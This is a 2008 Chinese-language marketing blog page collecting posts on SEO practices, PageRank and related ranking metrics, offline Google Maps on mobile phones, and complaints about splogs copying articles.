數位網路社群部落格::網路行銷及電子商務部落格

SERP : 搜尋排前對消費者的影響

2008-08-27T08:36:00.003+08:00

不管公司的大小, 許多產品都希望能夠讓消費者於網路搜尋時可以排列在最前面, 到底搜尋排前對消費者的影響是如何呢? 3位武漢大學的學者在2007年WiCom研討會上有一篇論文: "Does It Pay to Get to the Top? Contextual Factors of Branding in Search Engine Marketing", 做了一個SERP的研究 ...

他們把使用者分成兩大類, 一部分是具備搜尋技能的人, 一部分是不具備搜尋技能的人, 進行四項實驗, 然後去評估他們對產品的認知

這個研究得到幾個結論:

(1)具備搜尋技能的人較不易被SERP結果影響, 但不具備搜尋技能的人易被SERP結果影響對產品的認知

(2)當他們瞭解許多產品有進行SEO(Search Engine Optimization)來影響SERP時, 沒有顯著影響他們原有的產品認知

(3)不知名產品在搜尋排前時, 產品認知的影響比知名產品來得顯著

以上結果代表什麼意義呢? 就是沒有名氣的產品如果能夠搜尋排前是非常重要的, 可以快速建立產品的Branding, 相對的知名產品就沒必要花太大心力在SERP上, 並且對於廣大的不具備搜尋技能的人影響較大, 就算他們知道SERP可能是被操作的, 也不太會對於搜尋排前產生太大疑問

所以如果您的產品越沒有名氣, 把精力放在SEO來改善SERP, 是決對能夠逐步建立品牌的一個快速方式, 並且能夠獲得消費者對於您的產品的正面認知!

SERP : Search Engine Results Page

2008-08-26T14:29:00.003+08:00

前幾篇文章談了一堆關於Ranking的技術, 最後也就是最重要的就是SERP (Search Engine Results Page), 不管您的PageRank, TrustRank ... 等等指標多好, 如果使用者在搜尋時無法出現在前幾頁, 也就是有較好的SERP的話, 所有的指標都只是白費功夫, 空有好的內容, 但搜尋引擎並不認識你, 可說是非常可惜的事情, 如何才能夠讓您的網頁有優秀的SERP表現呢?

SERP與keyword及網頁結構關係最密切, 而高的PageRank不能保證有好的SERP, 高的流量也不能保證有好的SERP, 如果能夠有好的內容再加上優秀的SERP, 那才是網站成功的保證

當使用者下了一個keyword, 哪些重要因素影響SERP的結果呢?

(1)網頁title

例如本文章的重點在談SERP, 而title就是"SERP : Search Engine Results Page"
如果您的內容無法表現在title tag上, 當然SERP就無法有好的表現, 這也就是上次談到: SEO 三大建議, 希望能夠使用blog結構的原因, 因為可以不需額外功夫就讓內容的title顯示出來

(2)網頁meta data

meta data中的keyword, 與內容中的heading處理, 也可以讓search engine特別注意, 這個在上文Semantic HTML也提到過, 使用正確的tag, 可以讓search engine瞭解您的內容

(3)網址與目錄

如果您的網址或目錄中含有keyword, 如http://www.serp.com/serp-pagerank/serp.html, 如此也可以讓您針對SERP這個keyword有較好的結果, 並且就網址後綴來說, 一般org/net/com 也比ccTLD (Country Code Top Level Domain, 如org.tw/net.tw/com.tw)要好

(4)網頁內容

當然在您文章的內容一定要出現該keyword, 並且真的就是關於該keyword的文章, 否則使用者找到您的網頁也就沒啥意思了

(5)Refresh rate

什麼是Refresh rate? 就是您網站的更新頻繁度, 如果您的網站內容時常更新, 除了能夠讓search engine加快抓取頻率外, 也能夠讓SERP有更好的結果

也許有人會問:到底search engine會多久來抓我的資料? 除了使用http://www.google.com/webmasters/可以讓您上傳sitemap來告知之外, search engine也會自動根據您更新頻繁度來修正抓資料的頻率, 也就是如果每次search engine來抓資料都發現您已經更新, 他會修正縮短抓資料的區間, 如果來抓資料時發現您的網站沒有更新, 則放慢抓資料的區間

因此當您的網頁如果已經被indexing後, 並且您的網站屬於Trust那個區塊, 其實search engine抓資料的頻率有很大因素決定在您手上

TrustRank, PageRank, SERP

2008-08-26T11:41:00.010+08:00

許多站長常常問一個問題 : 為何我的網頁已經建置很久了, 但一直沒被Google index? 另外一個問題也常常被問到 : 為何許多PageRank值比我低的網頁, 搜尋時出現在我的網頁前面?

第一個問題的答案是 : TrustRank, 而第二個問題的答案是 : SERP (Search Engine Result Page)與PageRank不一定成正比

本部落格的網頁最快約10~30分鐘就會被Google抓走, 最慢也在一天內就被Google抓走, 原因是TrustRank

什麼是TrustRank? 詳細資料請看 : Combating Web Spam with TrustRank

由於全球的網頁數目太龐大, 因此Google的Sandbox, TrustBox技術會將網頁區分為兩大區塊-被排除的區塊(Sandbox)與信任的區塊(TrustBox)

哪些網站會被信任? 被Dmoz list的網站, 被Social bookmark熱門推薦的網站, 被TrustRank/PageRank高的網站所連結的網站 ... 這篇文章也提到一些成為TrustBox區塊的方式

另兩篇文章 : What is Google TrustRank (TR)?, The Social Side Of Trustrank 也提出許多提高TrustRank的方式, 本站之前的文章也都提到過

當TrustRank較好時才會快速被抓取, 被抓取後才可能有好的SERP, SERP就與網頁結構有很大的關係, 但是真正決定SERP的因素, 現在還是只能由結果來猜測, 尚無真正能夠證明哪些因素來決定SERP (SERP的研究倒是不錯的研究題目)

不過不管如何, 研究了一堆PageRank, TrustRank, SERP ... 之後, 其實最重要的還是老話一句 - 內容與結構! 就把一些指標暫時放一邊, 好好研究如何產生好的內容與正確使用Semantic HTML比較實在吧!

PageRank, BrowseRank, AlexaRank

2008-08-26T09:46:00.005+08:00

在八月初的SIGIR (Special Interest Group on Information Retrieval)研討會上, 出現了BrowseRank: Letting Web Users Vote for Page Importance

這個微軟研究中心的BrowseRank演算法, 大抵是想跟Google的PageRank一別苗頭, 到底這個BrowseRank是否能夠比PageRank來得好呢? 我們來研究一下

大略瀏覽了上述的論文, 發現BrowseRank只是Page-level的AlexaRank, 他的data set來自於瀏覽軟體的使用者資料, AlexaRank由Alexa toolbar所得到的資料來分析, 而BrowseRank由微軟的IE所得到的資料來分析

AlexaRank只是Domain-level ranking, BrowseRank比較仔細一些, 進到Page-level Ranking, Website-level Ranking, 而PageRank是透過link-analysis來取得頁面的重要度

論文題目說: Letting Web Users Vote for Page Importance, 其實是值得商確的, 網友到訪了一個網頁, 未必就認為該頁是重要的, 可能看完後幹聲連連 ...

因此我們可以粗略的說AlexaRank標示了網域的熱門度, BrowseRank標示了網頁/網站的熱門度, PageRank標示了網頁的重要度

到底哪個比較精準, 就牽涉到幾個問題:

(1)比較熱門的網站是否就比較重要?
(2)link數目多就代表比較重要?
(3)不同階層的使用者, 熱門度如何參考?
(4)廣度網站與深度網站, 熱門度如何參考?

當然上面問題沒有正確答案, 學術研究的網站一般不能跟入口網站比熱門度(AlexaRank與BrowseRank), 而新興網站一般不能與歷史悠久的網站比重要度(PageRank), 但是也可能會有例外 (而且例外還不少)

所以也很難去比較AlexaRank,PageRank,BrowseRank到底哪個好, 後續有更多資料再來分享啦...

Pagerank 演算法研究

2008-08-25T14:05:00.004+08:00

Larry Page在1996年間發明了Pagerank的演算法, 爾後又與Sergey Brin在Stanford發表了"The Anatomy of a Large-Scale Hypertextual Web Search Engine", 這個Web Search Engine就是現在使用的Google, Pagerank詳細內容到1998年才發表, 並且直到2001年才取得專利

Page Rank公式如下

(以上公式圖形由http://www.sitmo.com/latex/產生)

以上d指damping factor, 其值在0~1, 一般設為0.85
PR(V_i)為V_i這個頁面的PR值
In(V_i)為連進V_i這個頁面的link數目
Out(V_j)為V_j這個頁面連出去的link數目

也就是說如果有3個頁面A,B,C

A如果連到B,C
B如果連到C

如果A的PR=4
則PR(B)=(1-0.85) + 0.85 * 4/2 = 1.85

而PR(C)=(1-0.85) + 0.85 * (4/2 + 1.85) = 3.4225

B,C會平均繼承A的PR值, 但C會單獨繼承B的PR值

Pagerank是一種link-analysis algorithm, 是根據citation analysis而來, 原本使用在學術期刊論文被引用次數的技術

在Pagerank之後, 1999年Kleinberg發表了HITS algorithm(Hyperlink-Induced Topic Search), HITS決定兩個值: authority value & hub value, 並且是在query time計算, 而不是像Pagerank是在indexing time計算, Teoma就是使用HITS (目前被Ask.com收購)

相對於link-analysis algorithm的content-analysis algorithm, 於另外文章再討論

不管是Pagerank或是HITS, 都是iterative ranking algorithm, 非常耗費演算時間及資源, 因此許多研究者提出了不同的方式來加速計算時間:

1999年 Efficient Computation of PageRank(Haveliwala and et al.)

2002年 Pagerank Computation and the Structure of the Web:Experiments and Algorithms(Arasu and et al.)

2002年 I/O Efficient Techniques for Computing PageRank(Chen and et al.)

2003年 Scaling Personalized Web Search(Jeh and et al.)

2003年 Exploiting the Block Structure of the Web for Computing PageRank (Kamvar and et al.)

2003年 Extrapolation Methods for Accelerating PageRank Computations (Kamvar and et al.)

2004年 Parallel PageRank computation on a gigabit PC cluster (Manaskasemsak and et al.)

2006年 Parallel adaptive technique for computing PageRank (Rungsawang and et al.)

2007年 Improvement of Pagerank for Focused Crawler (Yuan and et al.)

但是不管怎麼加速演算法, 其iterative ranking algorithm的特性不會改變, 但可能會加入content-analysis algorithm的一些特性來走向semantic web

而Pagerank公式內的Out(V_j), 使得一些做SEO的人注意到HTML中的nofollow特性, 來進行一些link quality的改善

網路行銷/網路營銷 : SEO 三大建議

2008-08-20T09:06:00.004+08:00

在許多網站上可以看到諸如: "如何快速提升Pagerank", "Pagerank 7的快速捷徑" ...等等的文章或影片, 但是仔細去看這些網站的Pagerank竟然都是低於3或甚至降到0, 他們教您購買軟體, 他們教您快速增加backlink, 他們教您如何以短短幾分鐘的作業去提升PR值, 但是經事實證明, 不但無法達成目的, 還可能造成反效果, 在本篇文章中, 我們很誠實的告訴您真正被Google認可的方式 ...

在前幾篇文章已經提出許多觀念, 您可以去回顧一下:

Internet大破譯(五): 看不見的網路行銷戰場
善用PageRank指標提升企業競爭力
搜尋引擎的運作背後
網路行銷 : SEO 五大要素
網路行銷 : SEO 十大守則
網路行銷/網路營銷 -- 內容為王

除了以上一些觀點之外, 我們再提供三項實務的建議, 當然這些不管是五大要素, 十大守則, 或是三大建議, 最後回歸的都是 Content (內容), 沒有價值的內容創造不出有價值的網站

但是有價值的網站需要讓search engine瞭解, 並讓讀者可以搜尋到您的內容, 這也是所有搜尋引擎希望所有webmaster能夠協助的地方: 在search engine還不夠智慧的情況下, 讓search eninge能夠真正反應讀者想要尋找的內容

哪三項實務的建議呢?

(1)建立部落格

以目前的網頁結構來說, blog是最適合search engine抓資料的, 因為tag/category/publish date等等要素, 讓文章與文章之間會自然產生關聯, 這些關聯會讓片段的文章形成一串互相有關的內容, 這些關聯可以讓search engine知道如何index這些片段, 也可以讓讀者去一層層找到需要的資料, 因此如果您的網站沒有blog的結構, 應該盡快構思如果組織您的內容去建立有價值的blog

(2)善用網路社交工具

什麼是網路社交工具? network bookmark (網路書籤)就是一個例子, 建立部落格後僅是在您的內容上建立關聯, 而使用網路書籤可以讓blog間串聯起來, 並且讓更多人來看到您的內容, 並且網路書籤的tag可以將這些關係標準化, search engine可以很輕易的index相關內容

(3)使用Semantic HTML

什麼是Semantic HTML? 根據wikipedia的Semantic HTML解釋, Semantic HTML不是一般webmaster能夠瞭解的, 但是有另外一篇比較淺顯的說明您可以參考: Writing Semantic HTML

Semantic HTML的目的就是讓您的內容可以清楚呈現給search engine, 因為search engine並不瞭解您的內容, 但是透過HTML tag, 他可以知道這段文字是屬於哪個類別

總而言之, 其實以上三大建議, 是希望您的網站在結構與關聯上, 能夠替search engine做更清楚的描述, 如此一來search engine瞭解您的網站, 也同時讓讀者知道搜尋到的是否是需要的內容

真正的Search Engine Optimization (SEO)是在協助search engine, 而不是在欺騙search engine

許多人都說做SEO要偷偷做, 不要讓search engine知道您的作法, 其實只要是正確的SEO作業, search engine反而是鼓勵的, 因為您可以改善他們的搜尋效能

在內容上提升, 在結構與關聯上修正, 才是真正在進行SEO, 請大家光明正大的進行, 如此一來才可以讓讀者找到需要的資料而不是一堆不相干的垃圾

SEO : 搜尋引擎無法索引Flash檔案?

2008-08-19T09:08:00.007+08:00

以往大家都認為盡量不要使用Flash, 因為Flash檔案文字內容無法被搜尋引擎抓取, 但是這種情況已經會逐漸改善, 根據Adobe的SWF說明資料, Adobe已經陸續提供技術給搜尋業者, 以防止Flash會被網站開發者排除使用...

雖然如此, 但是目前使用的搜尋引擎只有Google, 並且目前讀取SWF資料的技術尚未純熟, 因此還是盡量不要整頁使用Flash, 並且需依照Google對於Flash/Image的Guideline:

(1)Googlebot does not execute some types of JavaScript. If your webpage uses JavaScript to load a Flash file, we may not be able to discover and index the contents of that file.

不要使用Javascript去載入Flash
如果使用Javascript載入Flash, 這個Flash就無法順利被index

(2)We currently do not attach content from external resources that are loaded by your Flash files. If your Flash file loads another file - such as an HTML file, an XML file, or another SWF file - we may index the contents of those files, but we won't consider that content to be part of the content in your Flash files.

不要使用Flash去載入另外檔案
如果使用Flash載入其他檔案, 這個被載入的檔案就無法順利被index

(3)We're currently unable to index the bidirectional language content (for example, Hebrew or Arabic) in Flash files.

第三點跟我們比較無關

除此之外, Yahoo只是承諾使用Adobe提供的技術, 並未正式使用, 而Microsft Live Search等也尚未有任何相關訊息

雖然Flash檔案會逐步被搜尋引擎接受, 但在使用上還是要注意許多細節, 提供Flash與Non-Flash版本, 才能夠讓您的網站美觀之外, 還能夠俱備搜尋引擎的可讀性

後續可能發展, 將密切觀察後再跟各位報導啦 ...

使用手機或PDA離線瀏覽Google Map (之3)

2008-08-12T09:43:00.003+08:00

(以上為手機使用MGMaps的狀況)

上兩篇文章(使用手機或PDA離線瀏覽Google Map與之2 )談完後, 您應該對產生地圖的概念已經清楚了吧! 現在來談如何安裝到手機 (以Nokia N95為例子, 其他設備大同小異)

(1)選取MGMaps選單的Settings (如下)

(2)Settings->Map Types來Add Custom Map, 客製自己的地圖類型

(設完記得儲存)

(3)輸入Map Type Name與Map Type URL如下
Map Type Name隨您高興輸入, Map Type URL輸入http://mt.google.com/mt

(設完記得儲存)

(4)回到Settings->Map Browsing

(5)勾選Stored Maps, Offline Mode, 並輸入手機上存放地圖的路徑

(設完記得儲存)

完成以上後, 再回到MGMaps ... 奇怪! 地圖沒有出現啊?

記得按"0"去切換地圖type, 並使用Go to到您地圖的範圍

祝您使用愉快啦!

使用手機或PDA離線瀏覽Google Map (之2)

2008-08-12T09:09:00.003+08:00

(上圖是MapCacher)

繼上篇文章談到使用手機或PDA離線瀏覽Google Map的大步驟後, 這篇文章來談MapCacher及gMapMaker的用法

MapCacher的主要目的是抓出您要的地圖範圍, 也就是經緯度資料

gMapMaker的主要目的就是把您要的地圖範圍, 根據您的設定, 抓下詳細地圖資料

MapCacher用法如下:

先到MapCacher網址, 也就是http://www.mapcacher.com, 如上圖

(1)如圖上標示的1, 先找到您要的地圖, 並以滑鼠點選出地圖範圍

(2)設定Zoom Level, 一般來說設12~17最恰當, 但視您的行動設備的儲存空間來調整, 範圍越大(如10~18)則需要空間越大, 用gMapMaker產生地圖時間越長

(3)設定詳細程度, 使用medium speed, medium detail, 或視您的需要設定

(4)設定地圖類型, 您可以使用Google Map, Yahoo Map或其他地圖

(5)設定完成後, 按下Generate, 則會開始產生檔案, 並要您存檔(*.map), 存起來後當執行gMapMaker時候使用

到目前為止, 只是產生了一些經緯度數字, 地圖細節還沒有產生

接著就來執行gMapMaker, 如下圖

Cache Folder : 設定您要暫存地圖的位置

Use Proxy : 一定要勾取, 因為如果不勾取, Google Map等provider會暫時將你的ip停權

Operating Mode : MGMaps Mode, use a .map file

(其他就不需再設定, 其他設定後續再談...)

按下Go後, 就選擇您剛剛使用MapCacher產生的map檔案, 就讓他慢慢跑啦, 所需時間視您標示的範圍而定

等執行完成後, 地圖檔案就準備好啦, 下篇再來談行動設備的設定 ...

使用手機或PDA離線瀏覽Google Map

2008-08-05T12:25:00.003+08:00

(以上是於機場使用Google Map)

以前在旅遊時需要攜帶一堆地圖, 當需要資訊時手忙腳亂的東翻西找, 看起來真的是相當滑稽, 現在感謝Google以及一群優秀的工程師, 讓一大堆資料可以全部裝到手掌大的行動設備上, 現代人旅遊真的越來越方便了, 如果您還不知道如何好好利用這些先進的設備, 趕緊看看以下文章吧 ...

現在的行動設備的作業系統分成兩大陣容: Microsoft作業系統與Symbian作業系統, 這些系統又分成許多版本不同的系統, 在尋找好用的軟體時需要注意版本的相容性

目前在HP iPAQ 6315, Sony Ericsson P800, Nokia N95測試了以下幾個行動設備的地圖軟體:
(1)Mobile Google Map (For Symbian, Pocket PC)
(2)Power Navigator (For Symbian)
(3)Mobile GMAPS (For Symbian, Pocket PC)

以上的軟體都允許Online及Offline來瀏覽地圖或與GPS設備來定位, 但是其中以Mobile GMAPS最簡易並且精準, 並且由於它是Java程式, 可以安裝在Microsoft及Symbian的設備上

但Mobile Google Map在安裝於某些版本的PPC時無法安裝, 並且要使用offline的程序太過複雜, 而Power Navigator無法安裝在Nokia N95上, 而安裝於SE P800時, 由於地圖需使用MapEditor自製地圖, 搭配使用GPS時, 常常出現定位不精準的狀況

以下就是Nokia N95使用內建GPS實際在遊艇上測試的狀況, 發現精準度幾乎100%

以下是安裝步驟:

(1)安裝MGMAPS軟體-依照您的行動設備的檔案傳輸方式把mgmaps下載後傳到行動設備安裝

(2)下載gMapMaker, 並安裝到PC備用

(3)使用MapCacher抓下地圖定位範圍

(4)使用剛剛安裝在PC的gMapMaker及步驟(3)的檔案來產生地圖(依您地圖的範圍需等待一些時間)

(5)然後把步驟(4)的地圖檔案放到行動設備相對應的MGMapsCache目錄下,並設為隱藏目錄

(6)設定mgmaps軟體在您的行動設備為offline

如此一般就可以使用來定位啦(在土耳其伊斯坦堡實際測試)...如下

初次使用者最常在(4)(5)(6)出錯, 後續再來詳細介紹各分解動作 ...

[MapCacher使用說明] [安裝到手機]

網路行銷/網路營銷 -- 內容為王

2008-08-01T13:38:00.003+08:00

數位網路社群已經走過近十年的時間, 距離上次改版也已經六年的時間, 但到今年四月才驚覺沒有獨立建立部落格架構已經無法符合市場需求

當初在2008.04剛建立部落格時, 當然PageRank=0, 並且完全沒有讀者, 但是到2008.07底, PageRank已經由0翻到4, 雖然部落格流量仍然未見起色, 但靠著文章被引用次數的增加, 已經逐漸被網友知道 ... 喔, 原來數位網路社群還有blog啊!

到底如何在3個月的時間, PageRank由0到4呢? 以下是一些觀念 ...

其實標題已經很清楚的告訴您了 -- 內容為王

您還在使用一些黑帽式的軟體或技巧, 增加您的backlink嗎? 這些方式能讓您的SERP從30幾頁上升到前3頁嗎? 這些方式能讓您的PR在3個月內由0到4嗎?

當然答案應該很清楚!

那應該如何做呢? 只需遵照SEO五大要素, SEO十大守則, 好好規劃您的SEO策略與內容耕耘, 保證能夠有好的成果

也許您會問: 那沒有啥內容怎麼辦?

如果您是搞藝術, 但偏要弄個科技網站, 那就Sorry啦, 當然不能產出好成果 (除非外包找代筆), 因此弄個您真正專長的方向, 並一步一腳印的去驗證上述的SEO五大要素/SEO十大守則, 必定可以馬到成功

也許您又會問: SEO五大要素/SEO十大守則太大方向了, 有沒有Step-by-Step的做法?

SEO不是1+1=2的問題, 因此實在很難寫出Step-by-Step, 光是一個要素可能可以寫一本書, 實在沒辦法詳細告訴您 ... 除非等筆者享受退休生活的時候吧!?

不管如何, 要提供經驗給各位的是: 不要再相信不重視內容的SEO方式, 沒有好的內容...神仙都沒辦法

也許您又會問: 那有不錯的SERP或PR能幹啥?

答案是如果您的網站不是營利型網站, SERP或PR實在沒啥意義, 但是如果您的網站是營利型網站, 就能夠快速的讓網友找到您的站台, 增加交易的機會

並且如果您有幾個SERP/PR不錯的站台, 就可以很輕易的繼續拉抬您其他的新網站邁向成功之路

因此持有優良的SERP/PR的站台或與該類站台保持良好互動, 是非常重要的事情啦

YouTube/Google又被告了 ...

2008-08-01T08:55:00.003+08:00

真是樹大招風, 義大利一家公司又上法院告上YouTube/Google, 詳細新聞請看這裡 ...

YouTube/Google認為他們已經盡到守門的責任, 只要有問題的檔案被發現, 他們都會盡速下架, 在以上新聞的回應中也引起正反兩面的意見

如同昨天本站的文章所說的, 網路的發展必定會衝擊所有權的問題, 另外Web 2.0的發展亦會引發整個結構上的問題

(1)在網路上發表的創作該不該保護? 該如何保護?

(2)網友在Web 2.0上傳的內容, 系統提供者該不該負責? 該如何負責?

以上兩個問題在實務上是很難解決的問題, 當然理想上, 創作當然該保護! 系統提供者當然應該盡到責任!

在實際的情況上, 網路創作者實在沒有心力去維護所有權, 除非您有辦法天天上法院, 甚至於有辦法控告海外的剽竊者

YouTube/Google的問題與之前P2P音樂侵權問題很類似, 也與大賣場產品出問題有些類似

前陣子也出現一位工程師被刊登假辣妹照片的詐騙集團騙了上千萬的情事, 系統平台提供者該不該負責?

這些系統平台提供者的態度是違法與否的關鍵! 如果一味的控訴他們違法, 可能最後受害的是廣大的使用者...

但是這些系統平台提供者的機制是否真的已經盡到最大的能力, 是Web 2.0的一個很大的商機

在理想上應該做到, 但目前實務做不到, 並不代表永遠做不到, 如果能夠出現一套機制來保障網路著作權及Web 2.0的亂像, 網路的大同世界才能到來

Splog別鬧了...

2008-07-31T08:42:00.003+08:00

這陣子因為出國開會忙碌, 好久沒時間好好整理資料來分享心得, 但是剛上網查詢一些資料時, 突然發現本站的許多文章 (也許應該說所有文章), 都被垃圾網站幾乎全文照抄去了 ... Oh my God!

被全文照抄也就算了, 還被抄成他們自己版權所有的內容, 這些splog的天才們應該也花了很多功夫來抄, 但是有些文章必須聯回本站來參考前後文, 才能清楚瞭解文章在寫些什麼, 這些被一併刪減後 ... 根本已經無法瞭解全貌, 真是把網路創作當成了剪貼簿 ... 網路什麼都有!什麼都抄!什麼都不奇怪!!

在本站前面一些文章, 例如: 別假了 : Flog and Splog , 你在看誰的部落格? 一個目前沒有答案的問題, 你在看誰的部落格? 是誤解還是事實? ... 等等文章中, 指出現在的網友真的是越來越可憐, 您在網路上看的資料是否都已經被拆解得支離破碎? 您是否在網路上的一半時間是被浪費掉的?

原創作者越來越灰心的情況下, 網路的前景會是如何? 沒賺到錢也就算了 (大多產量豐富的網路原創大概一天靠廣告也賺不到十塊美金) 連作品都被別人據為己有, 真是哭笑不得!

不過氣死是你家的事, 還是看開一些, 想拿走的話就取用吧 (至少寫個原文出處吧!) 反正要文章多的是, 再寫就是了 ...

記得前陣子一位媒體人槓上了暢銷作家, 大概就是幾段文字雷同, 搞得差點鬧上法院, 真是想太多了 ... 網路越來越發達, Copy Rights觀念必然更淡, 被抄襲就要上法院? 大概得天天包便當去法院上班了 ...

發牢騷完了, 打起精神吧, 一堆splog還等著我的文章呢! 您等等...熱騰騰的文章來囉!

網路行銷 : SEO十大守則

2008-07-30T13:45:00.001+08:00

SEO人人會變, 但各有巧妙不同, 有些手法可以讓您乍看來有效, 但時間一過卻比以前還慘, 有些手法根本無效, 卻口沫橫飛的說得讓您誤以為真, 提供SEO十大守則讓您建立正確的觀念, 以餉網友 ...

守則1: 不要為Rank而Rank
許多網站很熱衷於改善Rank, 但是卻忽略了...網站是給人看的, 不是給搜尋引擎看的, 遵守搜尋引擎的遊戲規則是很重要的, 如果search engine已經很明白告誡的作法, 就千萬不要以身試法, 除非您建立某些站台是用來測試search engine的algorithm, 因此切記...該進行的合法SEO動作以後, 一切就交給search engine啦,如果有SEO廠商告訴您, 讓您的網站在十天內PR值變成5 ... 忘了他吧, 肯定會讓您得不償失, 就好像唸書一樣, 得獎狀不能保證您能獲得高報酬的工作, Rank之外還有更重要的事情等著您 ...

守則2: Ranking只是一個過程,不是目的
Ranking只是一個指標, 更重要的是由這個指標去改善您的網站, 不是獲得好的Ranking就能高枕無憂, Ranking起起落落只是在提醒您是否忘記該進行哪些事項, 建立任何網站重要的是否達成您的目的 ... 有時候忘掉Ranking, 好好耕耘內容反而是比較健康的事情, 沒有一年半載的時間, 成果是看不出來的, 從事網路服務提供已經十餘年, 看到太多網站轟轟烈烈開站而草草了結, 沒耐心的人來搞網路行銷會讓您得憂鬱症的 ...

守則3: 瞭解您的對手
SEO的成果不是絕對的, 它是比較的結果, 十幾年前隨便搞個站, 幾天SERP (Search Engine Result Page)就明列前茅, 現在競爭者多了, 越來越困難, 但是您不是要跟Yahoo比, 您不是要跟YouTube比, 只需要鎖定您的對手, 就能清楚規劃出SEO的策略 ...

守則4: 讓搜尋引擎瞭解您的網頁
網站不是為Search engine而設立, 但是要讓它瞭解, 如此才能妥善的抓取您的內容來indexing, 瞭解最新的W3C規則, 健全您的網站結構, 清楚的sitemap, 都能讓您的SEO策略事半功倍...

守則5: 選擇適合的關鍵字
思考您的客戶可能使用哪些Keyword, 進而使用一些工具來分析來客傾向與導引, 是非常重要的, 對於關鍵字的focus不要一次太貪心, 剛開始選擇一兩個關鍵字, 效果出來了再慢慢增加關鍵字, 例如本站在近期才將"網路行銷"加入關鍵字策略, 並且相近簡體字"網路營銷"亦加入, 目前已經從Google SERP 30幾頁的位置, 提升到前三頁

守則6: 內容至上
沒有內容就一切免談, 胡說八道或到處亂抄只能暫時讓您的網站看似豐富, 但最後除了會被Search engine封殺之外, 也會被網友拋棄, 所以還是回歸最重要的原點 -- 內容, 好內容總有出頭的一天, 何況search engine掃瞄的速度之快, 一定可以讓您的網站浮出抬面的...

守則7: 使用正確的鏈結策略
一堆無用的backlink可能讓您的Ranking緩慢提升, 但高品質的backlink可以讓您的Ranking快速改善, 但是如何呢? 前面文章已經說太多次了, 就不再贅言

守則8: 撰寫正確而適合的Meta內容
除了網站正確的結構之外, meta內容是否真的符合您的網站也是很重要的, 您明明沒有賣相機, 但meta內容卻會讓網友透過"相機"找過來, 這些無效搜尋對Ranking的提升是毫無助益的, 只是浪費大家的時間

守則9: 與相關link站在一起
在一些Open Directory的適當類別可以找到您的網站, 在類似的網站能夠link到您的網站, 您自己網站的相關內容能夠link在一起 ... 都是search engine的最愛, 為啥有人說search engine喜歡blog的結構? 因為blog的特性 : 文字多/RSS/tag ... 這些都讓內容相近的文章可以互相串聯

守則10: 如果需要的話, 還是要向專家諮詢
SEO看似簡單, 大家都可以做, 但卻是非常技術性的工作 (也是很勞力的工作), 因此多多向專家諮詢以獲得量身訂做的SEO策略也是非常重要的, 更重要的是您自己要具備正確的SEO觀念, 如此一來才能讓您的網站常久經營下去, 並且日漸茁壯 ...

網路行銷 : SEO 五大要素

2008-07-02T09:51:00.006+08:00

許多網路業者都提供SEO(Search Engine Optimization)服務, 有些是白帽式的(White Hat), 也就是中規中矩的來改善您的網站品質, 也有些是黑帽式的(Black Hat), 也就是利用搜詢引擎的漏洞來提昇搜尋排名, 而現在已經不止企業需要進行SEO, 連部落客也都需要SEO來拉抬人氣, 因此對於SEO種種觀念是否正確就顯得非常重要, 如果對於SEO的觀念不夠正確而誤用了看似有效的黑帽式SEO技倆, 付出的代價可能會讓您哭不出來 ...

先就SEO的五大要素來說明, 而這些元素互為表裡並且相互影響, 因此不可能只針對單一元素來進行SEO

(1)網頁指標 - 不同的搜詢引擎會使用不同的網頁指標, 其中較耳熟能詳的網頁指標大抵是Google的PageRank與Alexa的AlexaRank, 另外就是您的網頁存在搜詢引擎中的backlink或inlink數目

(2)網域名稱 - 網域名稱是否有意義, 後綴為何以及網域名稱註冊時間的長短都會影響SEO的成效, 例如租車網站來說, CarRental.com基本上就比myCarWeb.com來得優, CarRental.com就比CarRental.org優勢, 而承接已經註冊很久的網域名稱就比新註冊的來得容易進行SEO, 如果您使用部落格服務提供的網域名稱, 也需要先觀察哪些部落格網域名稱具有較高的網頁指標

(3)網站流量 - 網站的訪客量會直接影響AlexaRank, 也會間接影響PageRank, 以往PageRank與流量關係不大, 但是自從去年Google修改演算法之後, 流量與PageRank的關係有增加的現象

(4)網站內容 - 當然網站有許多高品質的內容, 相對的會提升流量, 也會影響網頁指標, 並且網站內容應該與您選擇的keyword結合, 將keyword自然而平均的散佈在網頁內容裡

(5)網站結構 - 網站結構屬於比較技術性的, 許多SEO廠商喜歡從這裡著手

在說明如何進行SEO之前, 先來談談search engine, 我們先以較淺顯的方式來說明, search engine當然希望能夠最精確的找出使用者需要的內容, 因此以search engine的角度來看, 你的網站就必須讓search engine能夠理解, 並且以最"自然"的方式告訴search engine

以上牽涉到兩個重點: 以自然的方式, 讓search engine理解

許多SEO業者都忽略了以自然的方式來呈現, 例如為了增加backlink而在一天之內於網路上增加某頁面成千上萬的link, 這樣的link是會被search engine過濾掉的, 因為不夠自然, search engine對於黑帽式的SEO是持續的監看與反制的, 因此不要花太多力氣去製造無用的backlink

因此對於search engine的瞭解是製作網頁很重要的課題, 另外根據觀察, Google對於具有學術參考價值的網頁有特別的偏好, 因此在您的網站多增加一些這類內容是不錯的選擇

再來就以Q&A的方式來細談一些SEO的內容 ...

(1)SEO的程序應該如何進行?

- 瞭解您的競爭對手, 用上述的五個元素來解析競爭對手的網站, 並選擇您要的關鍵字
- 先瞭解上述網域名稱的特性來決定使用舊有的網域名稱, 還是乾脆另站重新來過選擇新的網域名稱
- 解析您的網站結構, 如title, meta, 目錄結構等...
- 構思您的網站內容策略, 並注意backlink品質
- 利用交換聯結, 公用書籤 ... 等等方式增加曝光度與流量
- 網站完成並經營一段時間後, 開始submit到各大search engine與dmoz
- 善用Google網站管理工具與分析工具

上面說的程序看似簡單, 但過程都是相當繁瑣, 舉個簡單的例子: 您當然希望別的高PR的頁面能夠link到您的網站, 但是不如注意自己網頁的PR值, 在自己有高PR值的頁面連回自己網頁, 本網提供的PR貼紙(PageRank Checker)就可以讓你瀏覽自己網站時隨時動態瞭解PR的變化, 當觀察到自己頁面有高於1的PR時, 就以自然的方式增加幾個link回其他頁面

(2)關鍵字出現在自己網頁的密度越高越好嗎?

答案是否定的, 同樣的關鍵字的密度也必須以自然的方式顯示, 以meta中的title為例子, 一般而言關鍵字不要超過title的一半, 最好保持在30%~50%左右

如果"相機"是您的關鍵字, title為"相機網-專業攝影器材網站"比title為"相機網"好一些

(3)為什麼要網站完成後再送到各搜詢引擎?

就DMOZ來講, 如果您的網站尚未完工, 可能被直接刪除或擱置一旁, 可能變成永遠不會被處理的網站

(4)如何增加backlink?

如果能夠有好的內容, 然後利用網路公用書籤是最佳的方式, 其次就是交換聯結,參加一些網頁排名,透過DMOZ服務, 不要太迷信其他旁門左道的黑帽式方法

